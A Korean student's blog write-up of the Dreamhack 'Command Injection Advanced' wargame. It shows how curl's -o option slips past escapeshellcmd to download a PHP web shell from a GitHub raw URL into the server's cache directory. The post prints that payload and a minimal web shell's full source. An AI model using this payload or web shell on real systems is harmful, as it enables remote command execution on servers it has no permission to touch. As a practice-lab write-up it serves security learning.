7주차_Webhacking 과제4 : dreamhack [Command Injection Advanced]

2023. 11. 18. 16:48SWLUG/web hacking

Command Injection Advanced | 워게임 | Dreamhack

 

Command Injection Advanced

Description Exercise: Command Injection Advanced에서 실습하는 문제입니다. 문제 수정 내역 2023.07.27 Dockerfile 제공

dreamhack.io

 

📌 내풀이

 

 

 

 

 

 

서버와 파일을 열어보았다.

문제풀이를 시작해보겠다.

 

정상적으로 문자를 입력하지 않으니 이렇게 뜬다.

 

 

 

 

 

그래서 일단 내 블로그 주소를 넣어보았다.

 

 

그랬더니 이렇게 쭈욱 뜬다.

내 블로그에 대한 코드 같았고 cache file: 을 통해 들어가보니까 내 블로그로 들어가졌다.

 

이 이상은 도움이 필요할 것 같았다. (코드를 다 둘러보고, 다 뒤져봐도 더이상 힌트가 없었기때문 )

 

 

 

 

 

 

일단 코드를 다시 살펴보자.

 

1.shell_exec으로 먼저 curl을 디폴트로 실행시켜주는 것을 볼 수 있다.
2.그리고 나서 문자열에 http가 있는지 검사한다.
3.이상한 파일을 삽입하는 것에 대비해 md5로 url을 해싱한다.
4.그 후 cache디렉토리 안에 그 md5 해싱을 파일명으로 하여 파일 내용을 저장하도록 한다.
5. 파일 내용은 요청으로 받은 값이다.

 

위의 내용대로라면 일반적으로 127.0.0.1요청을 보내면 똑같은 웹페이지가 나오되 백엔드는 구현되어있지 않은 html문서만 나올 것이다.

자 그러면 curl의 인자를 받는 곳에 또 curl을 쓰고 -o옵션으로 파일을 생성하자.
그렇게 되면 두번 curl이 실행되면서 인자 안에서 실행되는 curl은 md5로 해싱되지 않을 것이다.

 

 

그리고 httptest -h를 통해서 사용가능한 옵션을 확인해봤다.

 

 

 

결국 이문제의 핵심은 아래인 것 같았다.

  • escapeshellcmd 함수는 '-' , '/' 등의 문자들을 필터링 하지 못하는 점을 이용한다.
  • curl 명령어의 -o 옵션을 이용해 웹쉘을 파일을 업로드하는 경로에 저장하게 한뒤 실행시켜 FLAG 를 획득한다.

 

GitHub - WhiteWinterWolf/wwwolf-php-webshell: WhiteWinterWolf's PHP web shell

 

GitHub - WhiteWinterWolf/wwwolf-php-webshell: WhiteWinterWolf's PHP web shell

WhiteWinterWolf's PHP web shell. Contribute to WhiteWinterWolf/wwwolf-php-webshell development by creating an account on GitHub.

github.com

 

github에 공개된 PHP 웹쉘을 이용했고 -o 옵션으로 ./cache/exploit.php라는 파일을 생성하도록했다.

 

 

웹쉘을 /cache에 업로드하는 payload다.

 

https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php -o ./cache/exploit.php

 

 

 

 

 

payload를 전송했고, curl 명령이 정상적으로 실행됐다.

 

이제 ./cache/exploit.php에 접근해서 웹쉘이 생성됐는지 확인해보자.

 

일단은 웹쉘을 생성해야하는데 , 깃허브의 호스팅 서비스를 이용해보려고한다.

 

<html>
<body>
<form method="GET" name ="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type = "TEXT" name="cmd" autofocus id="cmd" size ="80">
<input type = "SUBMIT" value="Execute">
</form>
<pre>
<?php
	if(isset($_GET['cmd']))
{
	system($_GET['cmd']);
}

?>
</pre>
</body>
</html>

 

 

 

 

아래처럼 익스플로잇 코드를 작성하면 된다.
나의 웹서버에 있는 hack.php를 -o 옵션으로 cache디렉토리에 hack.php라는 이름으로 저장해달라는 코드이다.
아파치의 기본적인 경로 var/www/html인 점을 참고하였다.

 

그렇게 하면 md5로 해싱된 파일 경로가 나온다.

그거는 전체적인 url이 해싱된 것이고 우리는 따로 hack.php라는 파일을 저장했고, 그 경로로 가게되면 아래처럼 웹쉘이 등장한다

 

..... 이렇게 시도를 하려고 하였는데 , 자꾸 오류가 뜬다.

 

그래서 익스플로잇 코드를 짜는 방식을 수정해보았다.

 

오른쪽 상단에 RAW를 클릭하고 들어가서 나오는 url에다가 -o /var/www/html/cache/hack.php를 추가해서 만들었다.

 

 

 

그랬더니 드디어 해결되었다. 😂😂😂

 

 

ls -l 명령어를 통해 살펴볼 수 있다.

 

 

 

아니 난 왜 플래그 파일이 없지????

 

 

그치만 플래그를 실행시키기위해 /flag를 치니 flag값은 나왔다 정말 다행이다.

 

이번 문제는 웹쉘을 만드는게 난관이었던 .. 하지만 해냈으니 다음에는 웹쉘만들수있다!

 

 

[ 참고 학습 자료 ]

 

Dreamhack - Command Injection Advanced (velog.io)

 

Dreamhack - Command Injection Advanced

드림핵 사이트의 연습 문제를 풀어보았다. (https://dreamhack.io/wargame/challenges/413/)메인 화면Index.php소스 코드코드 분석url 파라미터의 시작이 'http' 이어야 한다.'http' 로 시작하는 파라미터 값을 es

velog.io

[WARGAME] 드림핵 워게임 - Command Injection Advanced (velog.io)

 

 

[WARGAME] 드림핵 워게임 - Command Injection Advanced

아래는 서버 코드이다.코드를 보면 1.shell_exec으로 먼저 curl을 디폴트로 실행시켜주는 것을 볼 수 있다.2.문자열에 http가 있는지 검사한다.3.이상한 파일을 삽입하는 것에 대비해 md5로 url을 해싱한

velog.io

https://jwcs.tistory.com/30

 

[드림핵] Command Injection Advanced 풀이

https://dreamhack.io/wargame/challenges/413/ Command Injection Advanced Description Exercise: Command Injection Advanced에서 실습하는 문제입니다. dreamhack.io 초기화면이다. 해석해보자. strpos 함수는 php 함수이다. strpos 함수

jwcs.tistory.com

 

[ 추가 공부 자료 ]

 

[dreamhack] command-injection-1 — keyme$ec - Security Study (tistory.com)

 

[dreamhack] command-injection-1

개념정리 Command injection에 대해 알아보자. ○ Command Injection 인젝션은 악의적인 데이터를 프로그램에 입력하여 시스템 명령어, 코드, 데이터베이스 쿼리 등이 실행되게 하는 기법을 말한다. 이 중,

keyme2003.tistory.com